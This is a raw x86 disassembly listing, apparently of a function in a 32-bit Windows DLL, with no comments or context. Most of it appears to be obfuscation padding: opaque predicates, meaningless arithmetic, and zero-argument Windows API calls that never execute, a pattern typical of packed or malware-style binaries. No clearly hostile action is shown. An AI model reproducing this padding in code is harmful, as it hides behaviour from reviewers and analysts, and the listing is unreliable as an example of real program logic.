je 0x1001fecd
mov dword [ebp - 0xb48], 0xd0d1d847
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0xa98], eax
jmp 0x1001fe9f
jmp 0x1001fd10
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xe4], eax
mov eax, 0xffff
mov word [ebp - 0x74], ax
or dword [ebp - 0x130], 0xffffffff
mov dword [ebp - 0x2b0], 0xfffffffc
mov dword [ebp - 0xe0c], 7
mov dword [ebp - 0xfa4], 0
mov dword [ebp - 0xe14], 0
mov dword [ebp - 0xfc8], 1
mov dword [ebp - 0xfc4], 1
mov dword [ebp - 0xfc0], 1
mov dword [ebp - 0xfbc], 1
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x2a8], 0
jmp 0x1001ff61
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 1
jge 0x1001ff7d
mov eax, dword [ebp - 0x2a8]
mov dword [ebp + eax*4 - 0xf34], 0xffffffff
jmp 0x1001ff54
mov dword [ebp - 0x2b0], 0
jmp 0x1001ff96
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0
jg 0x1001ffb5
mov dword [ebp - 0xb50], 0xfffffff6
mov dword [ebp - 0xb50], 0
jmp 0x1001ff89
mov eax, dword [ebp - 0x5b4]
inc eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp + 0x10], 0
jbe 0x1002087b
mov dword [ebp - 0x38], 0x99ff6065
mov dword [ebp - 0x44], 0x3644
mov dword [ebp - 0x358], 0x378f1e0c
push 2
lea ecx, [ebp - 0x944]
call fcn.1000bc61
mov dword [ebp - 4], 0x2e
push 1
lea ecx, [ebp - 0xf30]
call fcn.1000bc61
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0x28], 0
jmp 0x10020019
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1002002f
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xaec], 0
jmp 0x10020012
mov dword [ebp - 0x28], 0
jmp 0x1002003f
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10020058
push dword [ebp - 0x28]
lea ecx, [ebp - 0x944]
call fcn.1000bcff
and dword [eax], 0
jmp 0x10020038
mov dword [ebp - 0x28], 0
jmp 0x10020068
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jge 0x10020084
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf30]
call fcn.1000bcff
mov dword [eax], 1
jmp 0x10020061
cmp dword [ebp - 0x38], 0
je 0x1002018e
mov dword [ebp - 0x100], 0x43beb716
mov dword [ebp - 0x5cc], 0xc32b96ce
cmp dword [ebp - 0x44], 0x96a485bf
jb 0x100200b7
mov dword [ebp - 0x5bc], 1
jmp 0x100200be
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0xe1c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xf48], eax
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x100]
jge 0x100200ff
mov dword [ebp - 0x5c4], 1
jmp 0x10020106
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x5c4]
imul eax, dword [ebp - 0x44]
mov dword [ebp - 0xaa0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xaa0]
mov dword [ebp + eax - 0xaec], ecx
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0xe24], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xaec]
mov dword [ebp - 0x5cc], eax
mov eax, dword [ebp - 0x5cc]
cmp eax, dword [ebp - 0x100]
jle 0x10020161
mov dword [ebp - 0x5d4], 1
jmp 0x10020168
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x358], eax
mov esi, dword [ebp - 0x358]
push 1
lea ecx, [ebp - 0x944]
call fcn.1000bcff
mov dword [eax], esi
jmp 0x10020628
mov dword [ebp - 0x108], 0x312ef314
mov dword [ebp - 0xf44], 0xe37a2e34
mov dword [ebp - 0x38], 1
jmp 0x100201b2
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x10020628
push 1
lea ecx, [ebp - 0xafc]
call fcn.1000bc61
mov byte [ebp - 4], 0x30
mov dword [ebp - 0x2b8], 0
jmp 0x100201e6
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 1
jge 0x10020208
push dword [ebp - 0x2b8]
lea ecx, [ebp - 0xafc]
call fcn.1000bcff
mov dword [eax], 0xdfc1f7b4
jmp 0x100201d9
mov dword [ebp - 0x44], 0
jmp 0x10020218
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jg 0x10020614
mov dword [ebp - 0x5dc], 0x963f6d1d
mov dword [ebp - 0x2c0], 0
jmp 0x10020245
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 2
jge 0x10020261
mov eax, dword [ebp - 0x2c0]
mov dword [ebp + eax*4 - 0x938], 0x7d30fa2e
jmp 0x10020238
push 0
lea ecx, [ebp - 0xafc]
call fcn.1000bcff
mov dword [ebp - 0x5dc], 8
mov eax, dword [ebp - 0x5dc]
cmp eax, dword [ebp - 0x108]
jg 0x10020292
mov dword [ebp - 0x5e4], 1
jmp 0x10020299
and dword [ebp - 0x5e4], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x938]
push 1
lea ecx, [ebp - 0x944]
call fcn.1000bcff
cmp esi, dword [eax]
je 0x100202c3
mov dword [ebp - 0xb58], 1
jmp 0x100202ca
and dword [ebp - 0xb58], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaec]
mov dword [ebp - 0xe2c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x44]
sub ecx, dword [ebp + eax - 0x938]
sub ecx, dword [ebp - 0x44]
cmp dword [ebp - 0x5e4], ecx
jge 0x10020304
mov dword [ebp - 0x5ec], 1
jmp 0x1002030b
and dword [ebp - 0x5ec], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x944]
call fcn.1000bcff
mov eax, dword [eax]
cmp eax, dword [ebp - 0x5ec]
jg 0x1002032f
mov dword [ebp - 0x5f4], 1
jmp 0x10020336
and dword [ebp - 0x5f4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x938]
cmp dword [ebp - 0x5f4], eax
jne 0x10020369
push 0
lea ecx, [ebp - 0xafc]
call fcn.1000bcff
cmp dword [eax], 0
je 0x10020369
mov dword [ebp - 0x5fc], 1
jmp 0x10020370
and dword [ebp - 0x5fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x938]
cmp dword [ebp - 0x5fc], eax
jl 0x10020391
mov dword [ebp - 0x604], 1
jmp 0x10020398
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x604], eax
jg 0x100203c1
push 0
lea ecx, [ebp - 0xafc]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x100203c1
and dword [ebp - 0x3ac], 0
jmp 0x100203cb
mov dword [ebp - 0x3ac], 1
push dword [ebp - 0x38]
lea ecx, [ebp - 0x944]
call fcn.1000bcff
mov ecx, dword [ebp - 0x3ac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3ac]
neg eax
cmp eax, dword [ebp - 0x358]
jge 0x1002041c
mov byte [ebp - 0xc3], 0
movzx eax, byte [ebp - 0xc3]
test eax, eax
je 0x10020417
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
jmp 0x1002060f
mov dword [ebp - 0x60c], 0x222
mov dword [ebp - 0xb60], 0x10007cf8
cmp dword [ebp - 0x60c], 0x4a0
jle 0x1002056b
and dword [ebp - 0x2d8], 0
jmp 0x10020456
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x1b13
jge 0x1002054a
and dword [ebp - 0x2e0], 0
jmp 0x1002047c
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x6385
jge 0x10020545
and dword [ebp - 0x2c8], 0
jmp 0x100204a2
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x2e23
jge 0x10020540
and dword [ebp - 0x2d0], 0
jmp 0x100204c8
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x619
jge 0x1002053b
mov eax, dword [ebp - 0x2c8]
cdq
idiv dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x2d8]
imul eax, dword [ebp - 0x2e0]
add eax, edx
cdq
mov dword [ebp - 0xa1c], eax
mov dword [ebp - 0xa18], edx
push dword [ebp - 0xa18]
push dword [ebp - 0xa1c]
lea ecx, [ebp - 0x1118]
call fcn.10009e8a
pop ecx
pop ecx
mov dword [ebp - 0xab0], eax
mov ecx, dword [ebp - 0xab0]
call fcn.1000bc56
push eax
call fcn.10054a60
pop ecx
lea ecx, [ebp - 0x1118]
call fcn.1000bc4c
jmp 0x100204bb
jmp 0x10020495
jmp 0x1002046f
jmp 0x10020449
push 0
push 0xffb
push 0xd3c
push 0xed7
push 0x771
push 0x2c2
call dword [sym.imp.GDI32.dll_PatBlt]
mov dword [ebp - 0x614], 0x51ecde47
mov byte [ebp - 4], 0x31
cmp dword [ebp - 0x60c], 0xffffff01
jge 0x10020591
push dword [ebp - 0xb60]
call fcn.10054a60
pop ecx
jmp 0x100205ad
mov dword [ebp - 4], 0x30
jmp 0x100205bd
mov dword [ebp - 0x108], 0
jmp 0x100205d6
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 2
jg 0x1002060f
mov dword [ebp - 0xf50], 8
mov eax, dword [ebp - 0x614]
dec eax
mov dword [ebp - 0x614], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaec]
mov ecx, dword [ebp - 0x44]
mov dword [ebp + ecx*4 - 0xaec], eax
jmp 0x100205c9
jmp 0x10020211
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0xafc]
call fcn.1000bce3
jmp 0x100201ab
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0xf30]
call fcn.1000bce3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x944]
call fcn.1000bce3
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x10020876
mov dword [ebp - 0x35c], 6
mov dword [ebp - 0x110], 0x9b64fda7
mov dword [ebp - 0x2f8], 0xffffffff
mov dword [ebp - 0x2f0], 0x228d5fea
mov dword [ebp - 0xe34], 0x3ec3e1b8
mov dword [ebp - 0x2e8], 0
jmp 0x100206a3
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 4
jge 0x100206bf
mov eax, dword [ebp - 0x2e8]
mov dword [ebp + eax*4 - 0xd8c], 0x8eb98764
jmp 0x10020696
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0xf58], eax
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x61c], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x61c]
mov dword [ebp + eax - 0xd8c], ecx
mov dword [ebp - 0x110], 2
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x61c], eax
jl 0x1002075a
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x110], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x110]
cmp ecx, dword [ebp + eax - 0xd8c]
jge 0x1002072f
mov dword [ebp - 0x624], 1
jmp 0x10020736
and dword [ebp - 0x624], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd8c]
cmp dword [ebp - 0x624], eax
jge 0x1002075a
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x1002075a
and dword [ebp - 0x62c], 0
jmp 0x10020764
mov dword [ebp - 0x62c], 1
mov eax, dword [ebp - 0x2f8]
cmp dword [ebp - 0x62c], eax
je 0x1002077e
mov dword [ebp - 0x634], 1
jmp 0x10020785
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x2f8]
cmp dword [ebp - 0x634], eax
jge 0x1002079f
mov dword [ebp - 0x63c], 1
jmp 0x100207a6
and dword [ebp - 0x63c], 0
imul eax, dword [ebp - 0x63c], 0x16b5
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x110], 0
jne 0x100207f7
mov eax, dword [ebp - 0x2f0]
cmp eax, dword [ebp - 0x2f0]
jle 0x100207d9
mov dword [ebp - 0x644], 1
jmp 0x100207e0
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x35c]
cmp dword [ebp - 0x644], eax
jl 0x100207f7
and dword [ebp - 0x64c], 0
jmp 0x10020801
mov dword [ebp - 0x64c], 1
mov eax, dword [ebp - 0x2f0]
cmp dword [ebp - 0x64c], eax
jne 0x1002081b
mov dword [ebp - 0x364], 1
jmp 0x10020822
and dword [ebp - 0x364], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x364]
mov dword [ebp + eax - 0xd8c], ecx
cmp dword [ebp - 0x364], 0
jne 0x10020846
cmp dword [ebp - 0x2f8], 0
je 0x1002085b
mov eax, 0x309a
test eax, eax
je 0x1002085b
mov dword [ebp - 0x654], 1
jmp 0x10020862
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x654]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x74], ax
jmp 0x10020e1f
mov dword [ebp - 0xac0], 0xa53d06ce
mov dword [ebp - 0xb68], 0x51d69f42
mov dword [ebp - 0xe3c], 0x91f782a1
mov dword [ebp - 0x1004], 0xfffffffd
mov dword [ebp - 0xe44], 1
mov dword [ebp - 0xfdc], 0x3066c93e
mov dword [ebp - 0xfd8], 0x3066c93e
mov dword [ebp - 0xfd4], 0x3066c93e
mov dword [ebp - 0xfd0], 0x3066c93e
mov dword [ebp - 0xf54], 0xfb1c
mov dword [ebp - 0x65c], 0x5405732a
mov eax, dword [ebp - 0xac0]
mov dword [ebp - 0xb68], eax
mov eax, dword [ebp - 0x65c]
inc eax
mov dword [ebp - 0x65c], eax
mov eax, dword [0x106d86d0]
and eax, 1
jne 0x10020939
mov eax, dword [0x106d86d0]
or eax, 1
mov dword [0x106d86d0], eax
mov dword [ebp - 4], 0x33
mov ecx, 0x106d86fc
call fcn.10023072
push 0x1006d100
call fcn.10054a36
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x106d85d8]
test eax, eax
je 0x100209a5
mov ecx, 0x106d86fc
call fcn.10023129
movzx eax, al
test eax, eax
jne 0x100209a5
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x664]
push eax
mov ecx, 0x106d86fc
call fcn.10023132
lea eax, [ebp - 0xe4c]
push eax
mov ecx, 0x106d86fc
call fcn.1000bf76
push eax
lea ecx, [ebp - 0x664]
call fcn.1002305f
movzx eax, al
test eax, eax
je 0x100209a5
lea ecx, [ebp - 0x664]
call fcn.10023147
mov eax, dword [eax + 4]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x154], 0x73eb
mov dword [ebp - 0x118], 0xffffffff
mov dword [ebp - 0x308], 0xffffffff
mov dword [ebp - 0x6b4], 0xffffffff
mov dword [ebp - 0x6a4], 1
mov dword [ebp - 0x120], 0xffffffff
mov dword [ebp - 0x36c], 0xa2a67f6a
mov dword [ebp - 0xb70], 1
mov dword [ebp - 0xae0], 4
mov dword [ebp - 0x300], 0
jmp 0x10020a18
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 4
jge 0x10020a34
mov eax, dword [ebp - 0x300]
mov dword [ebp + eax*4 - 0xff0], 0xffffffff
jmp 0x10020a0b
mov eax, dword [ebp - 0x36c]
dec eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x2377
jge 0x10020a59
mov dword [ebp - 0x66c], 1
jmp 0x10020a60
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x66c], eax
jle 0x10020a80
cmp dword [ebp - 0x308], 0
jne 0x10020a80
and dword [ebp - 0x674], 0
jmp 0x10020a8a
mov dword [ebp - 0x674], 1
cmp dword [ebp - 0x674], 8
jne 0x10020a9f
mov dword [ebp - 0x67c], 1
jmp 0x10020aa6
and dword [ebp - 0x67c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x67c]
mov dword [ebp + eax - 0xff0], ecx
cmp dword [ebp - 0x6a4], 0x72c0
je 0x10020ad1
mov dword [ebp - 0x684], 1
jmp 0x10020ad8
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x684]
sub eax, dword [ebp - 0x6b4]
cmp eax, 0xfffffff9
jne 0x10020af5
mov dword [ebp - 0x68c], 1
jmp 0x10020afc
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x68c]
jg 0x10020b23
mov dword [ebp - 0x694], 1
jmp 0x10020b2a
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x694], eax
jne 0x10020b44
mov dword [ebp - 0xad0], 1
jmp 0x10020b4b
and dword [ebp - 0xad0], 0
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0xfb8], eax
cmp dword [ebp - 0x154], 0
je 0x10020b70
xor eax, eax
je 0x10020b70
mov dword [ebp - 0x69c], 1
jmp 0x10020b77
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x69c]
sub eax, dword [ebp - 0x6a4]
mov dword [ebp - 0x308], eax
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x154]
cmp eax, dword [ebp - 0x118]
jge 0x10020baf
mov dword [ebp - 0x6ac], 1
jmp 0x10020bb6
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x6ac]
sub eax, 7
mov dword [ebp - 0x6b4], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x154]
cmp eax, 0xfffffff8
jg 0x10020bdf
mov dword [ebp - 0x6bc], 1
jmp 0x10020be6
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x6bc], eax
jg 0x10020c00
mov dword [ebp - 0x6c4], 1
jmp 0x10020c07
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x120]
add eax, dword [ebp - 0x6c4]
mov dword [ebp - 0xb70], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xff0]
sub eax, 9
cmp eax, dword [ebp - 0xae0]
jge 0x10020c3c
mov dword [ebp - 0x6cc], 1
jmp 0x10020c43
and dword [ebp - 0x6cc], 0
cmp dword [ebp - 0x6cc], 0x5452
je 0x10020c5b
mov dword [ebp - 0x6d4], 1
jmp 0x10020c62
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x6d4], eax
jle 0x10020c7c
mov dword [ebp - 0x6dc], 1
jmp 0x10020c83
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x6dc]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
sub eax, 0x6be99c5
je 0x10020cb1
cmp dword [ebp - 0x118], 0
je 0x10020cb1
mov dword [ebp - 0x6e4], 1
jmp 0x10020cb8
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x6e4]
add eax, 0x2b4b20f9
cmp eax, 0x8dfe9016
jne 0x10020cd6
mov dword [ebp - 0x6ec], 1
jmp 0x10020cdd
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x6ec]
sub eax, dword [ebp - 0x120]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xff0], eax
cmp dword [ebp - 0x130], 0xffffffff
jne 0x10020e1f
mov ecx, 0x106d86fc
call fcn.1002318b
mov ecx, dword [ebp - 0x94]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x106d86fc
call fcn.1002318f
and dword [ebp - 0x128], 0
jmp 0x10020d37
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x128]
cmp ecx, dword [eax + 0x18]
jae 0x10020e1f
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x138]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x128]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 0
je 0x10020e1a
mov eax, dword [ebp - 0x6f4]
mov ecx, dword [ebp - 0x138]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x10b8]
call fcn.10022fd3
mov dword [ebp - 4], 0x34
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x10b8]
call fcn.1000d3f9
mov dword [ebp - 0x6fc], eax
movzx eax, byte [0x106d85d8]
test eax, eax
je 0x10020dc8
mov ecx, 0x106d86fc
call fcn.10023129
movzx eax, al
test eax, eax
jne 0x10020de8
lea eax, [ebp - 0x6fc]
push eax
mov ecx, 0x106d86fc
call fcn.1002314d
mov ecx, dword [ebp - 0x128]
mov dword [eax], ecx
mov byte [0x106d85d8], 1
cmp dword [ebp - 0x130], 0xffffffff
jne 0x10020e0b
mov eax, dword [ebp - 0x6fc]
cmp eax, dword [ebp - 0x310]
jne 0x10020e0b
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x130], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10b8]
call fcn.10023002
jmp 0x10020d2a
mov dword [ebp - 0xec], 0xca9869ec
mov dword [ebp - 0x15c], 0xffffffff
mov dword [ebp - 0x80], 0xd017
mov dword [ebp - 0x88], 0x6fc6088b
mov dword [ebp - 0x37c], 0xfffffff9
mov dword [ebp - 0x744], 0xffffffff
mov eax, dword [ebp - 0xec]
cmp eax, dword [ebp - 0xec]
je 0x10020e7b
cmp dword [ebp - 0xec], 0
je 0x10020e7b
mov dword [ebp - 0x704], 1
jmp 0x10020e82
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x704]
sub eax, dword [ebp - 0xec]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
sub eax, dword [ebp - 0x80]
cmp eax, 1
jae 0x10020eae
mov dword [ebp - 0x70c], 1
jmp 0x10020eb5
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x10020ed1
cmp dword [ebp - 0xec], 0
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x80]
jne 0x10020ee5
mov dword [ebp - 0x714], 1
jmp 0x10020eec
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x714], eax
jg 0x10020f0c
cmp dword [ebp - 0x15c], 0
jne 0x10020f0c
and dword [ebp - 0x71c], 0
jmp 0x10020f16
mov dword [ebp - 0x71c], 1
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0x37c], eax
mov dword [ebp - 0x88], 0
jmp 0x10020f3b
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xfffffff4
jle 0x100213d4
mov dword [ebp - 0x374], 0xfffffff7
mov dword [ebp - 0x164], 0x5d8d3410
cmp dword [ebp - 0x374], 0
jne 0x10020f74
cmp dword [ebp - 0x80], 0
jne 0x10020f74
and dword [ebp - 0x724], 0
jmp 0x10020f7e
mov dword [ebp - 0x724], 1
mov eax, dword [ebp - 0x744]
cmp dword [ebp - 0x724], eax
jg 0x10020f98
mov dword [ebp - 0x72c], 1
jmp 0x10020f9f
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x37c]
cmp eax, dword [ebp - 0x72c]
jg 0x10020fc2
cmp dword [ebp - 0x164], 0
je 0x10020fc2
mov dword [ebp - 0x734], 1
jmp 0x10020fc9
and dword [ebp - 0x734], 0
cmp dword [ebp - 0x734], 0xa7ad11e7
jbe 0x10020fe1
mov dword [ebp - 0x73c], 1
jmp 0x10020fe8
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x73c]
sub eax, dword [ebp - 0x15c]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x164]
jne 0x10021014
mov dword [ebp - 0x74c], 1
jmp 0x1002101b
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x744]
add eax, dword [ebp - 0x74c]
imul eax, eax, 0x6e3f
mov ecx, dword [ebp - 0x374]
imul ecx, eax
add ecx, dword [ebp - 0x15c]
cmp ecx, 0xfffffff9
je 0x1002104d
mov dword [ebp - 0x754], 1
jmp 0x10021054
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x754], eax
jl 0x1002107e
mov dword [ebp - 0x75c], 0xf20b
mov eax, dword [ebp - 0x75c]
inc eax
mov dword [ebp - 0x75c], eax
jmp 0x100213cf
mov dword [ebp - 0xb78], 0x4f89c894
push 1
lea ecx, [ebp - 0xb0c]
call fcn.1000bc61
mov dword [ebp - 4], 0x35
mov dword [ebp - 0xe54], 0xffffffff
mov dword [ebp - 0x78], 0
jmp 0x100210b6
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x100210d2
push dword [ebp - 0x78]
lea ecx, [ebp - 0xb0c]
call fcn.1000bcff
mov dword [eax], 8
jmp 0x100210af
mov dword [ebp - 0x78], 0
jmp 0x100210e2
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x100210f8
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x113c], 0x363bf156
jmp 0x100210db
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x10021116
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp dword [ebp - 0xb78], 0
je 0x10021393
mov dword [ebp - 0x7b4], 0x4f5774d2
and dword [ebp - 0xc6c], 0
and dword [ebp - 0xc68], 0
and dword [ebp - 0xc64], 0
and dword [ebp - 0xc60], 0
lea ecx, [ebp - 0x3ad]
call fcn.1000bd0e
push eax
lea eax, [ebp - 0xc5c]
push eax
lea eax, [ebp - 0xc6c]
push eax
lea ecx, [ebp - 0x10d8]
call fcn.1000bd11
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf40]
call fcn.1000bcbd
mov byte [ebp - 4], 0x36
mov dword [ebp - 0x80], 0
jmp 0x10021192
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jg 0x10021382
mov dword [ebp - 0xaf0], 0x2a4162a9
mov esi, dword [ebp - 0xec]
push 0
lea ecx, [ebp - 0xb0c]
call fcn.1000bcff
cmp dword [eax], esi
jne 0x100211c9
mov dword [ebp - 0x764], 1
jmp 0x100211d0
and dword [ebp - 0x764], 0
cmp dword [ebp - 0x764], 0xb8364b2c
jne 0x100211e8
mov dword [ebp - 0x76c], 1
jmp 0x100211ef
and dword [ebp - 0x76c], 0
mov esi, dword [ebp - 0x37c]
push 0
lea ecx, [ebp - 0xb0c]
call fcn.1000bcff
mov ecx, dword [ebp - 0x76c]
sub ecx, dword [eax]
sub ecx, esi
cmp dword [ebp - 0x164], ecx
jg 0x10021220
mov dword [ebp - 0x774], 1
jmp 0x10021227
and dword [ebp - 0x774], 0
cmp dword [ebp - 0x774], 1
jbe 0x1002123c
mov dword [ebp - 0x77c], 1
jmp 0x10021243
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0xaf0]
cmp dword [ebp - 0x77c], eax
jl 0x1002125d
mov dword [ebp - 0x784], 1
jmp 0x10021264
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x784], eax
jl 0x10021281
cmp dword [ebp - 0x80], 0
jne 0x10021281
and dword [ebp - 0x78c], 0
jmp 0x1002128b
mov dword [ebp - 0x78c], 1
mov eax, dword [ebp - 0x78c]
neg eax
cmp eax, 1
jne 0x100212b1
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x100212b1
cmp dword [ebp - 0x7b4], 0
jne 0x100212b1
and dword [ebp - 0x794], 0
jmp 0x100212bb
mov dword [ebp - 0x794], 1
cmp dword [ebp - 0x794], 0
jne 0x100212d0
mov dword [ebp - 0x79c], 1
jmp 0x100212d7
and dword [ebp - 0x79c], 0
cmp dword [ebp - 0x79c], 0xd5357554
ja 0x100212ef
